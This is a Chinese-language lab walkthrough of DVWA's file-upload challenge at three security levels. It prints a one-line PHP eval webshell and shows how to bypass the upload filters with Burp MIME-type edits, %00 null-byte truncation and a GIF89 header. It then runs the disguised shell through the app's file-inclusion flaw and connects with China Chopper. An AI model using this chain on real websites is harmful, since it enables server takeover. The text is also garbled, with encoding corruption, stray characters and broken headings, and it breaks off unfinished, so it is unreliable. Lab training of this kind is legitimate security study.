Low
源碼
可以看到Low級(jí)別的代碼 沒有對(duì)上傳的文件做 任何限制 可以直接
上傳一句話木馬
<?php @eval($_POST['as']);?>
打開/hackable/uploads目錄查看一下
可以看到已經(jīng)上傳成功
用中國(guó)菜刀或者中國(guó)蟻劍連接
Medium
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
burp抓包修改文件類型
中等級(jí)限制只能上傳jpg和png 文件且文件大小不能超過100000
上傳成功 中國(guó)菜刀連接就行了
方法二:00截?cái)?/h2>
image.png
image.png
image.png
可以看到文件已經(jīng)變了
截?cái)喽?/h3>
我們將文件名改為 a.php%00.jpg
然后我們選中 %00 创淡,然后進(jìn)行URL-decode
點(diǎn)擊 go 英遭,文件上傳成功
High
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
獲取文件后綴名
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
他的作用是什么呢巫财?
其實(shí)他是防范iis 6.0文件解析漏洞的,有時(shí)我們?yōu)榱死@過限制會(huì)提交這樣形式的文件:
Xx.asp;.xx.jpg xx.jpg
而這句話的作用就是說(shuō)它會(huì)驗(yàn)證文件的最后一個(gè)點(diǎn)之后的格式上面的例子來(lái)說(shuō)就是不管你前面寫了多少葬燎,我只驗(yàn)證最后的 ’.jpg’风响。
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) )
同時(shí)這句話對(duì)上傳文件的類型做了更明確的要求脑蠕,只識(shí)別jpg 和 jpeg 的文件象缀,這個(gè)就有些難度了,而我們只能嘗試一下%00截?cái)嗔恕?
%00在url語(yǔ)言里代表空格“ ”斋扰,因此它起到的作用就是截?cái)辔募暮蟀攵危屗R(shí)別到的文件格式是.jpg,而解析時(shí)會(huì)是前面的腳本格式。我們?cè)囈幌隆?
相關(guān)函數(shù)
substr()
substr() 函數(shù)返回字符串的一部分。
注釋:如果 start 參數(shù)是負(fù)數(shù)且 length 小于或等于 start逗堵,則 length 為 0汁咏。
語(yǔ)法
substr(string,start,length)
strrpos()
定義和用法
strrpos() 函數(shù)查找字符串在另一字符串中最后一次出現(xiàn)的位置帅刊。
注釋:strrpos() 函數(shù)對(duì)大小寫敏感
strrpos(string,find,start)
strtolower()把所有字符轉(zhuǎn)換為小寫
getimagesize
getimagesize(string) :函數(shù)將測(cè)定任何 GIF栏饮,JPG灶平,PNG,SWF,SWC,PSD妇多,TIFF绢彤,BMP,IFF,JP2,JPX,JB2呜达,JPC,XBM 或 WBMP 圖像文件的大小并返回圖像的尺寸以及文件類型和一個(gè)可以用于普通 HTML 文件中 IMG 標(biāo)記中的 height/width 文本字符串戈泼。如果不能訪問 filename 指定的圖像或者其不是有效的圖像挽绩,getimagesize() 將返回 FALSE 并產(chǎn)生一條 E_WARNING級(jí)的錯(cuò)誤唠亚。所以 getimagesize函數(shù)的作用是判斷上傳的文件是不是有效的圖片
00截?cái)?/h2>
點(diǎn)擊 go 暂题,文件上傳失敗
直接上傳一句話木馬究珊,然后把文件名改為 a.jpg
原因是因?yàn)?/h4>
(1)在php<5.3.4中薪者,處理字符串的函數(shù)認(rèn)為0x00是終止符。那么我們可以利用 00截?cái)?漏洞來(lái)上傳我們的一句話木馬 但是實(shí)驗(yàn)環(huán)境是php5.4.45
(2)因?yàn)閮H僅后綴是圖片格式的還不行剿涮,文件內(nèi)容必須還得是圖片格式的
在文件頭部加了jpg格式的 GIF89 標(biāo)識(shí)后成功上傳言津!
GIF89
<?php @eval($_POST['as'])?>
修改后上傳成功
雖然我上傳成功了,但以jpg為后綴的取试,菜刀不能直接連接悬槽,必須讓他作為php解析
怎么才能讓我們的圖片以 php 格式運(yùn)行呢?
我們可以利用DVWA的文件包含漏洞瞬浓,讓我們的圖片格式的一句話木馬以php格式運(yùn)行初婆。
訪問
http://localhost/DVWA-master/vulnerabilities/fi/?page=file:///E:/phpstudy/PHPTutorial/WWW/DVWA-master/hackable/uploads/1.jpg
然后我們就可以用中國(guó)菜刀進(jìn)行連接了
因?yàn)檫@個(gè)網(wǎng)站是要登錄的,所以我們?cè)诓说吨杏益I猿棉,然后瀏覽網(wǎng)站磅叛,然后登錄就可以在菜刀中保持我們的session。然后就可以獲取Webshell了萨赁。
但是發(fā)現(xiàn)那里不對(duì)弊琴。。杖爽。敲董。。
連的不是我的本地慰安。腋寨。。泻帮。精置。
不懂
嘗試另一種方法
圖片可以正常訪問
但是瀏覽器無(wú)法解析
換成jpg格式試試
。锣杂。脂倦。。還是不行
參考一